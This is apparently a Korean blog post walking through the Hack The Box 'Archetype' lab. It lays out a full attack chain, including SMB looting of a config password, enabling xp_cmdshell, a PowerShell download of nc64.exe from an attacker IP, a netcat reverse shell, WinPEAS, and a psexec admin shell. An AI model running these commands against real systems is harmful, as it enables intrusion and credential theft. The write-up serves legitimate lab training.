▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier2 Archetype


Nmap

nmap 10.129.5.136 -p- -Pn -sV -sC --open --min-rate 2000

Task

  • db port : 1433 (ms SQL server)

SMB (445)

  • -L : 리스트 확인
    • smbclient -L //<target ip>
    • backups 디스크 확인 가능 (관리자가 아니여도 접근 가능, $ 없음)
  • 접속 및 파일 확인
    • smbclient //<target ip>/backups
    • ls
    • get prod.dtsConfig
  • 파일 확인해보면 password 확인 가능 (user id : ARCHETYPE\sql_svc)
    • TMI : ARCHETYPE은 도메인이다.

impacker collection (MS SQL Server)

  • mssqlclient.py 사용해서 접속
python3 impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.129.5.136 -windows-auth

-windows-auth : Windows Authentication 방식으로 인증 (윈도우 계정이니까~)

ms sql server 다루기

xp_cmdshell

EXECUTE xp_cmdshell 'whoami';

근데 안될거임. (서버 보안 설정상 비활성화 되어있음)

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;
  • sp_configure : 설정을 다루는 명령 (advanced options 목록 보기)
    • xp_cmdshell 1로 변경 (활성화)
  • RECONFIGURE : 적용
EXEC xp_cmdshell 'net user';
  • 성공!

ReverseShell

  • nc64.exe : Windows에서 실행할 netcat 명령 파일
  • python 웹서버 열어두기
    • python3 -m http.server 8000
  • xp_cmdshell
    • pwd : 현재 경로 확인
      • EXEC xp_cmdshell 'powershell -c pwd'
    • Download 경로에 wget으로 nc64.exe 받아오기 wget은 파워쉘에서 쓸 수 있으니 powershell로 실행!
      • EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.15.16:8000/nc64.exe -outfile nc64.exe';
  • nc -lnvp 1337 리스닝
  • 접속
    • EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.15.16 1337'
  • 성공!!
  • Desktop 에서 유저 플래그 획득 가능

PEAS (Privilege Escalation Awesome Scripts)

권한 상승 가능성을 자동으로 점검해주는 스크립트 모음이다.

윈도우용으로 쓰이는 스크립트는?

  • WinPEAS

kali 에서 사용하기 (peass-ng)

https://www.kali.org/tools/peass-ng/

설치하면 다음 경로에 파일들이 있음

  • /usr/share/peass/winpeas

이거를 또 wget으로 받아서 실행하는게 좋을 듯

  • cp로 복사 (winPEASx64.exe 를 사용하였음)
  • powershell -c wget http://10.10.15.16:8000/winPEASx64.exe -outfile winPEASany.exe
  • 실행!
    • .\winPEASx64.exe

WinPEAS

이 녀석은 유명한 민감 경로들을 자동으로 검사한다.

  • 사용자 프로필 디렉터리들 확인
  • 자격 증명, 히스토리, 설정 파일, 로그 파일 위치 확인
  • PowerShell 히스토리 체크
  • 민감한 파일 존재할 경우 결과로 알려줌.

ConsoleHost_history.txt (history check)

cat .\winpeas.txt | Select-String "history"

PS history file 경로 확인 가능

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

읽어보면 administrator 패스워드 획득 가능

Privilege Escalation

이제 얻은 관리자 계정을 이용해 SMB 프로토콜을 타고 접속해보자.

impacket collection (psexe.py)

SMB 계열에서 쓸 수 있는 psexe.py 로 접속해보면,

┌──(kali㉿kali)-[~]
└─$ python3 ~/tools/impacket/examples/psexec.py administrator@10.129.5.136                                                
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Requesting shares on 10.129.5.136.....
[*] Found writable share ADMIN$
[*] Uploading file CrAgwikO.exe
[*] Opening SVCManager on 10.129.5.136.....
[*] Creating service aITm on 10.129.5.136.....
[*] Starting service aITm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> 

접속 가능!

  • Desktop에서 루트 플래그 획득 가능

← ALL POSTS